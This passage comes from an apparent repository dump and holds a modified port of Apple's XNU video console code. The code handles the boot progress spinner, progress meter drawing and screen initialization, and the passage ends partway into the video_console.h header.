vc_saveunder;\n\t\t\t\tsaveLen      = vc_saveunder_len;\n\t\t\t\tvc_saveunder = NULL;\n\t\t\t\tvc_saveunder_len = 0;\n\t\t\t}\n\n\t\t\tthread_call_cancel(&vc_progress_call);\n\t\t}\n\t}\n\n\tsimple_unlock(&vc_progress_lock);\n\tsplx(s);\n\n\tif (saveBuf) {\n\t\tkheap_free( KHEAP_DATA_BUFFERS, saveBuf, saveLen );\n\t}\n}\n\n#if defined(XNU_TARGET_OS_OSX)\n\nstatic uint32_t\nvc_progressmeter_range(uint32_t pos)\n{\n\tuint32_t ret;\n\n\tif (pos > kProgressMeterEnd) {\n\t\tpos = kProgressMeterEnd;\n\t}\n\tret = vc_progress_meter_start\n\t    + ((pos * (vc_progress_meter_end - vc_progress_meter_start)) / kProgressMeterEnd);\n\n\treturn ret;\n}\n\nstatic void\nvc_progressmeter_task(__unused void *arg0, __unused void *arg)\n{\n\tspl_t    s;\n\tuint64_t interval;\n\n\ts = splhigh();\n\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\tif (kProgressMeterKernel == vc_progressmeter_enable) {\n\t\tuint32_t pos = (vc_progressmeter_count >> 13);\n\t\tinternal_set_progressmeter(vc_progressmeter_range(pos));\n\t\tif (pos < kProgressMeterEnd) {\n\t\t\tstatic uint16_t incr[8] = { 10000, 10000, 8192, 4096, 2048, 384, 384, 64 };\n\t\t\tvc_progressmeter_count += incr[(pos * 8) / kProgressMeterEnd];\n\n\t\t\tinterval = vc_progressmeter_interval;\n\t\t\tinterval = ((interval * 256) / vc_progressmeter_diskspeed);\n\n\t\t\tclock_deadline_for_periodic_event(interval, mach_absolute_time(), &vc_progressmeter_deadline);\n\t\t\tthread_call_enter_delayed(&vc_progressmeter_call, vc_progressmeter_deadline);\n\t\t}\n\t}\n\tsimple_unlock(&vc_progress_lock);\n\tsplx(s);\n}\n\nvoid\nvc_progress_setdiskspeed(uint32_t speed)\n{\n\tvc_progressmeter_diskspeed = speed;\n}\n\n#endif  /* defined(XNU_TARGET_OS_OSX) */\n\nstatic void\nvc_progress_task(__unused void *arg0, __unused void *arg)\n{\n\tspl_t     s;\n\tint       x, y, width, height;\n\tuint64_t  x_pos, y_pos;\n\tconst unsigned char * data;\n\n\ts = splhigh();\n\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\tif (vc_progress_enable) {\n\t\tdo {\n\t\t\tvc_progress_count++;\n\t\t\tif (vc_progress_count >= vc_progress->count) {\n\t\t\t\tvc_progress_count = 0;\n\t\t\t\tvc_progress_angle++;\n\t\t\t}\n\n\t\t\twidth  = (vc_progress->width * vc_uiscale);\n\t\t\theight = (vc_progress->height * vc_uiscale);\n\t\t\tdata   = vc_progress_data[vc_uiscale - 1];\n\t\t\tif (!data) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (kVCUsePosition & vc_progress_options.options) {\n\t\t\t\t/* Rotation: 0:normal, 1:right 90, 2:left 180, 3:left 90 */\n\t\t\t\tswitch (3 & vinfo.v_rotate) {\n\t\t\t\tcase kDataRotate0:\n\t\t\t\t\tx_pos = vc_progress_options.x_pos;\n\t\t\t\t\ty_pos = vc_progress_options.y_pos;\n\t\t\t\t\tbreak;\n\t\t\t\tcase kDataRotate180:\n\t\t\t\t\tx_pos = 0xFFFFFFFF - vc_progress_options.x_pos;\n\t\t\t\t\ty_pos = 0xFFFFFFFF - vc_progress_options.y_pos;\n\t\t\t\t\tbreak;\n\t\t\t\tcase kDataRotate90:\n\t\t\t\t\tx_pos = 0xFFFFFFFF - vc_progress_options.y_pos;\n\t\t\t\t\ty_pos = vc_progress_options.x_pos;\n\t\t\t\t\tbreak;\n\t\t\t\tcase kDataRotate270:\n\t\t\t\t\tx_pos = vc_progress_options.y_pos;\n\t\t\t\t\ty_pos = 0xFFFFFFFF - vc_progress_options.x_pos;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tx = (uint32_t)((x_pos * (uint64_t) vinfo.v_width) / 0xFFFFFFFFULL);\n\t\t\t\ty = (uint32_t)((y_pos * (uint64_t) vinfo.v_height) / 0xFFFFFFFFULL);\n\t\t\t\tx -= (width / 2);\n\t\t\t\ty -= (height / 2);\n\t\t\t} else {\n\t\t\t\tx = (vc_progress->dx * vc_uiscale);\n\t\t\t\ty = (vc_progress->dy * vc_uiscale);\n\t\t\t\tif (1 & vc_progress->flags) {\n\t\t\t\t\tx += ((vinfo.v_width - width) / 2);\n\t\t\t\t\ty += ((vinfo.v_height - height) / 2);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ((x + width) > (int)vinfo.v_width) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ((y + height) > (int)vinfo.v_height) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tdata += vc_progress_count * width * height;\n\n\t\t\tvc_blit_rect( x, y, 0,\n\t\t\t    width, height, width, height, width, width,\n\t\t\t    data, vc_saveunder,\n\t\t\t    kDataAlpha\n\t\t\t    | (vc_progress_angle & kDataRotate)\n\t\t\t    | (vc_needsave ? kSave : 0));\n\t\t\tvc_needsave = FALSE;\n\n\t\t\tclock_deadline_for_periodic_event(vc_progress_interval, mach_absolute_time(), &vc_progress_deadline);\n\t\t\tthread_call_enter_delayed(&vc_progress_call, vc_progress_deadline);\n\t\t}while (FALSE);\n\t}\n\tsimple_unlock(&vc_progress_lock);\n\tsplx(s);\n}\n\n/*\n * Generic Console (Front-End): Master Control\n * -------------------------------------------\n */\n\n#if defined (__i386__) || defined (__x86_64__)\n#include <pexpert/i386/boot.h>\n#endif\n\nstatic boolean_t gc_acquired      = FALSE;\nstatic boolean_t gc_graphics_boot = FALSE;\nstatic boolean_t gc_desire_text   = FALSE;\nstatic boolean_t gc_paused_progress;\n\nstatic void\ngc_pause( boolean_t pause, boolean_t graphics_now )\n{\n\tspl_t s;\n\n\ts = splhigh();\n\tVCPUTC_LOCK_LOCK();\n\n\tdisableConsoleOutput = (pause && !console_is_serial());\n\tgc_enabled           = (!pause && !graphics_now);\n\n\tVCPUTC_LOCK_UNLOCK();\n\n\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\tif (pause) {\n\t\tgc_paused_progress = vc_progress_enable;\n\t\tvc_progress_enable = FALSE;\n\t} else {\n\t\tvc_progress_enable = gc_paused_progress;\n\t}\n\n\tif (vc_progress_enable) {\n#if defined(XNU_TARGET_OS_OSX)\n\t\tif (1 & vc_progress_withmeter) {\n\t\t\tthread_call_enter_delayed(&vc_progressmeter_call, vc_progressmeter_deadline);\n\t\t} else\n#endif /* defined(XNU_TARGET_OS_OSX) */\n\t\tthread_call_enter_delayed(&vc_progress_call, vc_progress_deadline);\n\t}\n\n\tsimple_unlock(&vc_progress_lock);\n\tsplx(s);\n}\n\nstatic void\nvc_initialize(__unused struct vc_info * vinfo_p)\n{\n#ifdef __arm__\n\tunsigned long cnt, data16, data32;\n\n\tif (vinfo.v_depth == 16) {\n\t\tfor (cnt = 0; cnt < 8; cnt++) {\n\t\t\tdata32 = vc_colors[cnt][2];\n\t\t\tdata16  = (data32 & 0x0000F8) <<  8;\n\t\t\tdata16 |= (data32 & 0x00FC00) >>  5;\n\t\t\tdata16 |= (data32 & 0xF80000) >> 19;\n\t\t\tdata16 |= data16 << 16;\n\t\t\tvc_colors[cnt][1] = data16;\n\t\t}\n\t}\n#endif\n\n\tvinfo.v_rows = vinfo.v_height / ISO_CHAR_HEIGHT;\n\tvinfo.v_columns = vinfo.v_width / ISO_CHAR_WIDTH;\n\tvinfo.v_rowscanbytes = ((vinfo.v_depth + 7) / 8) * vinfo.v_width;\n\tvc_uiscale = vinfo.v_scale;\n\tif (vc_uiscale > kMaxProgressData) {\n\t\t//vc_uiscale = kMaxProgressData;\n\t} else if (!vc_uiscale) {\n\t\tvc_uiscale = 1;\n\t}\n}\n\nvoid initialize_prescreen(struct vc_info new_vinfo) {\n   vm_initialized = TRUE;\n\n   vinfo = new_vinfo;\n\n   printf(\"[i] initialize_screen: b=%08llX, w=%08X, h=%08X, r=%08X, d=%08X\\n\",                  /* (BRINGUP) */\n\t\t\t    new_vinfo.v_physaddr, new_vinfo.v_width, new_vinfo.v_height, new_vinfo.v_rowbytes, new_vinfo.v_type);       /* (BRINGUP) */\n\n   gc_ops.initialize   = vc_initialize;\n   gc_ops.enable       = vc_enable;\n   gc_ops.paint_char   = vc_paint_char;\n   gc_ops.scroll_down  = vc_scroll_down;\n   gc_ops.scroll_up    = vc_scroll_up;\n   gc_ops.clear_screen = vc_clear_screen;\n   gc_ops.hide_cursor  = vc_reverse_cursor;\n   gc_ops.show_cursor  = vc_reverse_cursor;\n   gc_ops.update_color = vc_update_color;\n   printf(\"[*] gc_initialize\\n\");\n   gc_initialize(&vinfo);\n\n   gc_graphics_boot = TRUE;\n   gc_desire_text = FALSE;\n\n   vc_progress_options = vc_user_options;\n   bzero(&vc_user_options, sizeof(vc_user_options));\n\n   vc_progress_white = TRUE;\n   printf(\"[*] vc_progress_set\\n\");\n   vc_progress_set( TRUE /* graphics_now */, 1 /* delay */ );\n\n   printf(\"[*] gc_enable\\n\");\n   gc_enable( TRUE );\n   printf(\"[√] acquired gc\\n\");\n   gc_acquired = TRUE;\n}\n\nvoid\ninitialize_screen(PE_Video * boot_vinfo, unsigned int op)\n{\n\tunsigned int newMapSize = 0;\n\tvm_offset_t newVideoVirt = 0;\n\tboolean_t graphics_now;\n\tuint32_t delay;\n\n\tif (boot_vinfo) {\n\t\tstruct vc_info new_vinfo = vinfo;\n\t\tboolean_t makeMapping = FALSE;\n\n\t\t/*\n\t\t *\tCopy parameters\n\t\t */\n\t\tif (kPEBaseAddressChange != op) {\n\t\t\tnew_vinfo.v_width    = (unsigned int)boot_vinfo->v_width;\n\t\t\tnew_vinfo.v_height   = (unsigned int)boot_vinfo->v_height;\n\t\t\tnew_vinfo.v_depth    = (unsigned int)boot_vinfo->v_depth;\n\t\t\tnew_vinfo.v_rowbytes = (unsigned int)boot_vinfo->v_rowBytes;\n\t\t\t//if (kernel_map == VM_MAP_NULL) {\n\t\t\t\t// only booter supplies HW rotation\n\t\t\t\tnew_vinfo.v_rotate   = (unsigned int)boot_vinfo->v_rotate;\n\t\t\t//}\n#if defined(__i386__) || defined(__x86_64__)\n\t\t\tnew_vinfo.v_type     = (unsigned int)boot_vinfo->v_display;\n#else\n\t\t\tnew_vinfo.v_type = 0;\n#endif\n\t\t\tunsigned int scale   = (unsigned int)boot_vinfo->v_scale;\n\t\t\tif (scale == kPEScaleFactor1x) {\n\t\t\t\tnew_vinfo.v_scale = kPEScaleFactor1x;\n\t\t\t} else if (scale == kPEScaleFactor2x) {\n\t\t\t\tnew_vinfo.v_scale = kPEScaleFactor2x;\n\t\t\t}\n\t\t\telse { /* Scale factor not set, default to 1x */\n\t\t\t\tnew_vinfo.v_scale = kPEScaleFactor1x;\n\t\t\t}\n\t\t}\n\t\tnew_vinfo.v_name[0]  = 0;\n\t\tnew_vinfo.v_physaddr = 0;\n\n\t\t/*\n\t\t *  Check if we are have to map the framebuffer\n\t\t *  If VM is up, we are given a virtual address, unless b0 is set to indicate physical.\n\t\t */\n\t\tnewVideoVirt = boot_vinfo->v_baseAddr;\n\t\tmakeMapping = 1; //(kernel_map == VM_MAP_NULL) || (0 != (1 & newVideoVirt));\n\t\tif (makeMapping) {\n\t\t\tnewVideoVirt = 0;\n\t\t\tnew_vinfo.v_physaddr = boot_vinfo->v_baseAddr & ~3UL;           /* Get the physical address */\n#ifndef __LP64__\n\t\t\tnew_vinfo.v_physaddr |= (((uint64_t) boot_vinfo->v_baseAddrHigh) << 32);\n#endif\n\t\t\tprintf(\"initialize_screen: b=%08llX, w=%08X, h=%08X, r=%08X, d=%08X\\n\",                  /* (BRINGUP) */\n\t\t\t    new_vinfo.v_physaddr, new_vinfo.v_width, new_vinfo.v_height, new_vinfo.v_rowbytes, new_vinfo.v_type);       /* (BRINGUP) */\n\t\t}\n\n\t\tif (!newVideoVirt && !new_vinfo.v_physaddr) {                                                   /* Check to see if we have a framebuffer */\n\t\t\tprintf(\"initialize_screen: No video - forcing serial mode\\n\");         /* (BRINGUP) */\n\t\t\tnew_vinfo.v_depth = 0;                                          /* vc routines are nop */\n\t\t\t(void)switch_to_serial_console();                               /* Switch into serial mode */\n\t\t\tgc_graphics_boot = FALSE;                                       /* Say we are not in graphics mode */\n\t\t\tdisableConsoleOutput = FALSE;                                   /* Allow printfs to happen */\n\t\t\tgc_acquired = TRUE;\n\t\t} else {\n\t\t\tif (makeMapping) {\n\t\t\t\tunsigned int flags = 0; //VM_WIMG_IO;\n\t\t\t\tif (boot_vinfo->v_length != 0) {\n\t\t\t\t\tnewMapSize = (unsigned int) round_page(boot_vinfo->v_length);\n\t\t\t\t} else {\n\t\t\t\t\tnewMapSize = (unsigned int) round_page(new_vinfo.v_height * new_vinfo.v_rowbytes);                      /* Remember size */\n\t\t\t\t}\n             abort(); // TODO\n\t\t\t\t//newVideoVirt = io_map_spec((vm_map_offset_t)new_vinfo.v_physaddr, newMapSize, flags);   /* Allocate address space for framebuffer */\n\t\t\t}\n\t\t\tnew_vinfo.v_baseaddr = newVideoVirt + boot_vinfo->v_offset;                     /* Set the new framebuffer address */\n\t\t}\n\n#if defined(__x86_64__)\n\t\t// Adjust the video buffer pointer to point to where it is in high virtual (above the hole)\n\t\tnew_vinfo.v_baseaddr |= (VM_MIN_KERNEL_ADDRESS & ~LOW_4GB_MASK);\n#endif\n\n\t\t/* Update the vinfo structure atomically with respect to the vc_progress task if running */\n\t\tif (vc_progress) {\n\t\t\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\t\t\tvinfo = new_vinfo;\n\t\t\tsimple_unlock(&vc_progress_lock);\n\t\t} else {\n\t\t\tvinfo = new_vinfo;\n\t\t}\n\n\t\tif (kPEBaseAddressChange != op) {\n\t\t\t// Graphics mode setup by the booter.\n\n\t\t\tgc_ops.initialize   = vc_initialize;\n\t\t\tgc_ops.enable       = vc_enable;\n\t\t\tgc_ops.paint_char   = vc_paint_char;\n\t\t\tgc_ops.scroll_down  = vc_scroll_down;\n\t\t\tgc_ops.scroll_up    = vc_scroll_up;\n\t\t\tgc_ops.clear_screen = vc_clear_screen;\n\t\t\tgc_ops.hide_cursor  = vc_reverse_cursor;\n\t\t\tgc_ops.show_cursor  = vc_reverse_cursor;\n\t\t\tgc_ops.update_color = vc_update_color;\n\t\t\tgc_initialize(&vinfo);\n\t\t}\n\t}\n\n\tgraphics_now = gc_graphics_boot && !gc_desire_text;\n\tswitch (op) {\n\tcase kPEGraphicsMode:\n\t\tgc_graphics_boot = TRUE;\n\t\tgc_desire_text = FALSE;\n\t\tbreak;\n\n\tcase kPETextMode:\n\t\tgc_graphics_boot = FALSE;\n\t\tbreak;\n\n\tcase kPEAcquireScreen:\n\t\tif (gc_acquired) {\n\t\t\tbreak;\n\t\t}\n\n\t\tvc_progress_options = vc_user_options;\n\t\tbzero(&vc_user_options, sizeof(vc_user_options));\n\n\t\tif (kVCAcquireImmediate & vc_progress_options.options) {\n\t\t\tdelay = 0;\n\t\t} else if (kVCDarkReboot & vc_progress_options.options) {\n\t\t\tdelay = 120;\n\t\t} else {\n\t\t\tdelay = vc_acquire_delay;\n\t\t}\n\n\t\tif (kVCDarkBackground & vc_progress_options.options) {\n\t\t\tvc_progress_white = TRUE;\n\t\t} else if (kVCLightBackground & vc_progress_options.options) {\n\t\t\tvc_progress_white = FALSE;\n\t\t}\n\n#if !defined(XNU_TARGET_OS_BRIDGE)\n\t\tvc_progress_set( graphics_now, delay );\n#endif /* !defined(XNU_TARGET_OS_BRIDGE) */\n\t\tgc_enable( !graphics_now );\n\t\tgc_acquired = TRUE;\n\t\tgc_desire_text = FALSE;\n\t\tbreak;\n\n\tcase kPEDisableScreen:\n\t\tif (gc_acquired) {\n\t\t\tgc_pause( TRUE, graphics_now );\n\t\t}\n\t\tbreak;\n\n\tcase kPEEnableScreen:\n\t\tif (gc_acquired) {\n\t\t\tgc_pause( FALSE, graphics_now );\n\t\t}\n\t\tbreak;\n\n\tcase kPETextScreen:\n\t\tif (console_is_serial()) {\n\t\t\tbreak;\n\t\t}\n\n\t\tif (gc_acquired == FALSE) {\n\t\t\tgc_desire_text = TRUE;\n\t\t\tbreak;\n\t\t}\n\t\tif (gc_graphics_boot == FALSE) {\n\t\t\tbreak;\n\t\t}\n\n\t\tvc_progress_set( FALSE, 0 );\n#if defined(XNU_TARGET_OS_OSX)\n\t\tvc_enable_progressmeter( FALSE );\n#endif\n\t\tgc_enable( TRUE );\n\t\tbreak;\n\n\tcase kPEReleaseScreen:\n\t\tgc_acquired = FALSE;\n\t\tgc_desire_text = FALSE;\n\t\tgc_enable( FALSE );\n\t\tif (gc_graphics_boot == FALSE) {\n\t\t\tbreak;\n\t\t}\n\n\t\tvc_progress_set( FALSE, 0 );\n\t\tvc_acquire_delay = kProgressReacquireDelay;\n\t\tvc_progress_white      = TRUE;\n#if defined(XNU_TARGET_OS_OSX)\n\t\tvc_enable_progressmeter(FALSE);\n\t\tvc_progress_withmeter &= ~1;\n#endif\n\t\tvc_clut8 = NULL;\n\t\tbreak;\n\n\n#if defined(__x86_64__)\n\tcase kPERefreshBootGraphics:\n\t{\n\t\tspl_t     s;\n\t\tboolean_t save;\n\n\t\tif (kBootArgsFlagBlack & ((boot_args *) PE_state.bootArgs)->flags) {\n\t\t\tbreak;\n\t\t}\n\n\t\tsave = vc_progress_white;\n\t\tvc_progress_white = (0 != (kBootArgsFlagBlackBg & ((boot_args *) PE_state.bootArgs)->flags));\n\n\t\tinternal_enable_progressmeter(kProgressMeterKernel);\n\n\t\ts = splhigh();\n\t\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\t\tvc_progressmeter_drawn = 0;\n\t\tinternal_set_progressmeter(vc_progressmeter_range(vc_progressmeter_count >> 13));\n\n\t\tsimple_unlock(&vc_progress_lock);\n\t\tsplx(s);\n\n\t\tinternal_enable_progressmeter(kProgressMeterOff);\n\t\tvc_progress_white = save;\n\t}\n#endif\n\t}\n}\n\nvoid vcattach(void); /* XXX gcc 4 warning cleanup */\n\nvoid\nvcattach(void)\n{\n\tvm_initialized = TRUE;\n\n#if defined(CONFIG_VC_PROGRESS_METER_SUPPORT)\n\tconst boot_args * bootargs  = (typeof(bootargs))PE_state.bootArgs;\n\n\tPE_parse_boot_argn(\"meter\", &vc_progress_withmeter, sizeof(vc_progress_withmeter));\n\n#if defined(__x86_64__)\n\tvc_progress_white = (0 != ((kBootArgsFlagBlackBg | kBootArgsFlagLoginUI)\n\t    & bootargs->flags));\n\tif (kBootArgsFlagInstallUI & bootargs->flags) {\n\t\tvc_progress_meter_start = (bootargs->bootProgressMeterStart * kProgressMeterMax) / 65535;\n\t\tvc_progress_meter_end   = (bootargs->bootProgressMeterEnd   * kProgressMeterMax) / 65535;\n\t} else {\n\t\tvc_progress_meter_start = 0;\n\t\tvc_progress_meter_end   = kProgressMeterEnd;\n\t}\n#else\n\tvc_progress_meter_start = 0;\n\tvc_progress_meter_end   = kProgressMeterEnd;\n#endif /* defined(__x86_64__ */\n#endif /* defined(CONFIG_VC_PROGRESS_METER_SUPPORT) */\n\tsimple_lock_init(&vc_progress_lock, 0);\n\n// will never reach this\n/*\n\tif (gc_graphics_boot == FALSE) {\n\t\tlong index;\n\n\t\tif (gc_acquired) {\n\t\t\tinitialize_screen(NULL, kPEReleaseScreen);\n\t\t}\n\n\t\tinitialize_screen(NULL, kPEAcquireScreen);\n\n\t\tfor (index = 0; index < msgbufp->msg_bufx; index++) {\n\t\t\tif (msgbufp->msg_bufc[index] == '\\0') {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tvcputc( 0, 0, msgbufp->msg_bufc[index] );\n\n\t\t\tif (msgbufp->msg_bufc[index] == '\\n') {\n\t\t\t\tvcputc( 0, 0, '\\r' );\n\t\t\t}\n\t\t}\n\t}\n*/\n}\n\n#if defined(XNU_TARGET_OS_OSX)\n\n// redraw progress meter between pixels start, end, position at pos,\n// options (including rotation) passed in flags\nstatic void\nvc_draw_progress_meter(unsigned int flags, int start, int end, int pos)\n{\n\tconst unsigned char *data;\n\tint i, width, bx, srcRow, backRow;\n\tint rectX, rectY, rectW, rectH;\n\tint endCapPos, endCapStart;\n\tint barWidth  = kProgressBarWidth * vc_uiscale;\n\tint barHeight = kProgressBarHeight * vc_uiscale;\n\tint capWidth  = kProgressBarCapWidth * vc_uiscale;\n\t// 1 rounded fill, 0 square end\n\tint style = (0 == (2 & vc_progress_withmeter));\n\t// 1 white, 0 greyed out\n\tint onoff;\n\n\tfor (i = start; i < end; i += width) {\n\t\tonoff       = (i < pos);\n\t\tendCapPos   = ((style && onoff) ? pos : barWidth);\n\t\tendCapStart = endCapPos - capWidth;\n\t\tif (flags & kDataBack) { // restore back bits\n\t\t\twidth   = end;// loop done after this iteration\n\t\t\tdata    = NULL;\n\t\t\tsrcRow  = 0;\n\t\t} else if (i < capWidth) { // drawing the left cap\n\t\t\twidth   = (end < capWidth) ? (end - i) : (capWidth - i);\n\t\t\tdata    = progressmeter_leftcap[vc_uiscale >= 2][onoff];\n\t\t\tdata    += i;\n\t\t\tsrcRow  = capWidth;\n\t\t} else if (i < endCapStart) { // drawing the middle\n\t\t\twidth   = (end < endCapStart) ? (end - i) : (endCapStart - i);\n\t\t\tdata    = progressmeter_middle[vc_uiscale >= 2][onoff];\n\t\t\tsrcRow  = 1;\n\t\t} else { // drawing the right cap\n\t\t\twidth   = endCapPos - i;\n\t\t\tdata    = progressmeter_rightcap[vc_uiscale >= 2][onoff];\n\t\t\tdata    += i - endCapStart;\n\t\t\tsrcRow  = capWidth;\n\t\t}\n\n\t\tswitch (flags & kDataRotate) {\n\t\tcase kDataRotate90: // left middle, bar goes down\n\t\t\trectW   = barHeight;\n\t\t\trectH   = width;\n\t\t\trectX   = ((vinfo.v_width / 3) - (barHeight / 2));\n\t\t\trectY   = ((vinfo.v_height - barWidth) / 2) + i;\n\t\t\tbx      = i * barHeight;\n\t\t\tbackRow = barHeight;\n\t\t\tbreak;\n\t\tcase kDataRotate180: // middle upper, bar goes left\n\t\t\trectW   = width;\n\t\t\trectH   = barHeight;\n\t\t\trectX   = ((vinfo.v_width - barWidth) / 2) + barWidth - width - i;\n\t\t\trectY   = (vinfo.v_height / 3) - (barHeight / 2);\n\t\t\tbx      = barWidth - width - i;\n\t\t\tbackRow = barWidth;\n\t\t\tbreak;\n\t\tcase kDataRotate270: // right middle, bar goes up\n\t\t\trectW   = barHeight;\n\t\t\trectH   = width;\n\t\t\trectX   = (vinfo.v_width - (vinfo.v_width / 3) - (barHeight / 2));\n\t\t\trectY   = ((vinfo.v_height - barWidth) / 2) + barWidth - width - i;\n\t\t\tbx      = (barWidth - width - i) * barHeight;\n\t\t\tbackRow = barHeight;\n\t\t\tbreak;\n\t\tdefault:\n\t\tcase kDataRotate0: // middle lower, bar goes right\n\t\t\trectW   = width;\n\t\t\trectH   = barHeight;\n\t\t\trectX   = ((vinfo.v_width - barWidth) / 2) + i;\n\t\t\trectY   = vinfo.v_height - (vinfo.v_height / 3) - (barHeight / 2);\n\t\t\tbx      = i;\n\t\t\tbackRow = barWidth;\n\t\t\tbreak;\n\t\t}\n\t\tvc_blit_rect(rectX, rectY, bx, rectW, rectH, width, barHeight,\n\t\t    srcRow, backRow, data, vc_progressmeter_backbuffer, flags);\n\t}\n}\n\nextern void IORecordProgressBackbuffer(void * buffer, size_t size, uint32_t theme);\n\nstatic void\ninternal_enable_progressmeter(int new_value)\n{\n\tspl_t     s;\n\tvoid    * new_buffer;\n\tboolean_t stashBackbuffer;\n\tint flags = vinfo.v_rotate;\n\n\tstashBackbuffer = FALSE;\n\tnew_buffer = NULL;\n\tif (new_value) {\n\t\tnew_buffer = kheap_alloc(KHEAP_DATA_BUFFERS,\n\t\t    (kProgressBarWidth * vc_uiscale) *\n\t\t    (kProgressBarHeight * vc_uiscale) * sizeof(int), Z_WAITOK);\n\t}\n\n\ts = splhigh();\n\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\tif (kProgressMeterUser == new_value) {\n\t\tif (gc_enabled || !gc_acquired || !gc_graphics_boot) {\n\t\t\tnew_value = vc_progressmeter_enable;\n\t\t}\n\t}\n\n\tif (new_value != vc_progressmeter_enable) {\n\t\tif (new_value) {\n\t\t\tif (kProgressMeterOff == vc_progressmeter_enable) {\n\t\t\t\tvc_progressmeter_backbuffer = new_buffer;\n\t\t\t\tvc_draw_progress_meter(kDataAlpha | kSave | flags, 0, (kProgressBarWidth * vc_uiscale), 0);\n\t\t\t\tnew_buffer = NULL;\n\t\t\t\tvc_progressmeter_drawn = 0;\n\t\t\t}\n\t\t\tvc_progressmeter_enable = new_value;\n\t\t} else if (vc_progressmeter_backbuffer) {\n\t\t\tif (kProgressMeterUser == vc_progressmeter_enable) {\n\t\t\t\tvc_draw_progress_meter(kDataBack | flags, 0, (kProgressBarWidth * vc_uiscale), vc_progressmeter_drawn);\n\t\t\t} else {\n\t\t\t\tstashBackbuffer = TRUE;\n\t\t\t}\n\t\t\tnew_buffer = vc_progressmeter_backbuffer;\n\t\t\tvc_progressmeter_backbuffer = NULL;\n\t\t\tvc_progressmeter_enable = FALSE;\n\t\t}\n\t}\n\n\tsimple_unlock(&vc_progress_lock);\n\tsplx(s);\n\n\tif (new_buffer) {\n\t\tif (stashBackbuffer) {\n\t\t\tIORecordProgressBackbuffer(new_buffer,\n\t\t\t    (kProgressBarWidth * vc_uiscale)\n\t\t\t    * (kProgressBarHeight * vc_uiscale)\n\t\t\t    * sizeof(int),\n\t\t\t    vc_progress_white);\n\t\t}\n\t\tkheap_free(KHEAP_DATA_BUFFERS, new_buffer,\n\t\t    (kProgressBarWidth * vc_uiscale) *\n\t\t    (kProgressBarHeight * vc_uiscale) * sizeof(int));\n\t}\n}\n\nstatic void\ninternal_set_progressmeter(int new_value)\n{\n\tint x1, x3;\n\tint capRedraw;\n\t// 1 rounded fill, 0 square end\n\tint style = (0 == (2 & vc_progress_withmeter));\n\tint flags = kDataAlpha | vinfo.v_rotate;\n\n\tif ((new_value < 0) || (new_value > kProgressMeterMax)) {\n\t\treturn;\n\t}\n\n\tif (vc_progressmeter_enable) {\n\t\tvc_progressmeter_value = new_value;\n\n\t\tcapRedraw = (style ? (kProgressBarCapWidth * vc_uiscale) : 0);\n\t\tx3 = (((kProgressBarWidth * vc_uiscale) - 2 * capRedraw) * vc_progressmeter_value) / kProgressMeterMax;\n\t\tx3 += (2 * capRedraw);\n\n\t\tif (x3 > vc_progressmeter_drawn) {\n\t\t\tx1 = capRedraw;\n\t\t\tif (x1 > vc_progressmeter_drawn) {\n\t\t\t\tx1 = vc_progressmeter_drawn;\n\t\t\t}\n\t\t\tvc_draw_progress_meter(flags, vc_progressmeter_drawn - x1, x3, x3);\n\t\t} else {\n\t\t\tvc_draw_progress_meter(flags, x3 - capRedraw, vc_progressmeter_drawn, x3);\n\t\t}\n\t\tvc_progressmeter_drawn = x3;\n\t}\n}\n\nvoid\nvc_enable_progressmeter(int new_value)\n{\n\tinternal_enable_progressmeter(new_value ? kProgressMeterUser : kProgressMeterOff);\n}\n\nvoid\nvc_set_progressmeter(int new_value)\n{\n\tspl_t s;\n\n\ts = splhigh();\n\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\tif (vc_progressmeter_enable) {\n\t\tif (kProgressMeterKernel != vc_progressmeter_enable) {\n\t\t\tinternal_set_progressmeter(new_value);\n\t\t}\n\t} else {\n\t\tvc_progressmeter_value = new_value;\n\t}\n\n\tsimple_unlock(&vc_progress_lock);\n\tsplx(s);\n}\n\n#endif /* defined(XNU_TARGET_OS_OSX) */\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/console/video_console.h",
    "content": "/*\n * Copyright (c) 2000-2005 Apple Computer, Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n *\n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n *\n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n *\n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n/*\n * @OSF_COPYRIGHT@\n */\n/*\n * @APPLE_FREE_COPYRIGHT@\n */\n\n#ifndef _VIDEO_CONSOLE_H_\n#define _VIDEO_CONSOLE_H_\n\n#include <device/device_types.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define kVCSysctlProgressOptions      \"kern.progressoptions\"\n#define kVCSysctlConsoleOptions       \"kern.consoleoptions\"\n#define kVCSysctlProgressMeterEnable  \"kern.progressmeterenable\"\n#define kVCSysctlProgressMeter        \"kern.progressmeter\"\n\nenum{\n\tkVCDarkReboot       = 0x00000001,\n\tkVCAcquireImmediate = 0x00000002,\n\tkVCUsePosition      = 